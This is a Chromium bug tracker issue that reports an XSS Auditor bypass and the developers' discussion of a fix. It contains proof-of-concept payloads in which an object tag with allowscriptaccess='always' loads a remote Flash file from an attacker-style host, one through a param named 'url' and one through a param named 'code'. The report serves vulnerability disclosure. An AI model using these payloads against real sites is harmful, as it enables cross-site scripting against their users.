|Issue 676992||XSS Auditor bypass using object tag and url parameter|
|Starred by 2 users||Reported by masatoki...@gmail.com, Dec 26||Back to list|
I'd like to report an XSS Auditor bypass bug. PoC is here: http://vulnerabledoma.in/char_test?body=%3Cobject+allowscriptaccess=always%3E%3Cparam+name=url+value=https://l0.cm/xss.swf%3E <object allowscriptaccess="always"> <param name="url" value="https://attacker/xss.swf"> Could you confirm this bug? Thanks! VERSION Version 57.0.2962.0 (Official Build) canary （64 bit）
It seems it works via the name="code" also. http://vulnerabledoma.in/char_test?body=%3Cobject+allowscriptaccess=always%3E%3Cparam+name=code+value=https://l0.cm/xss.swf%3E <object allowscriptaccess="always"> <param name="code" value="https://attacker/xss.swf">
Thanks for the report. Tom, could you take a look when you get a chance?
Looks like there are few more <param> cases to cover. Thanks for the report.
I'm also going to filter the allowscriptaccess attribute in <object>, just because, even though there's enough malice that can be accomplished even without it.
https://cs.chromium.org/chromium/src/third_party/WebKit/Source/core/html/HTMLParamElement.cpp?rcl=1483446215&l=48 is where we decide which name=xxx parameters are candiates for sanitization.
https://cs.chromium.org/chromium/src/third_party/WebKit/Source/core/html/HTMLObjectElement.cpp?rcl=1483446215&l=172 has its own ideas about URL parameters. Mike, should we unify the two? Have a suggestion about who else might weigh in on param element behaviour?
Mike: |allowscriptaccessAttr| token doesn't exist, can we add this to whatever IDL generates these?
Bouncing to mike to get some answers. Pls re-assign to me afterwards.
|► Sign in to add a comment|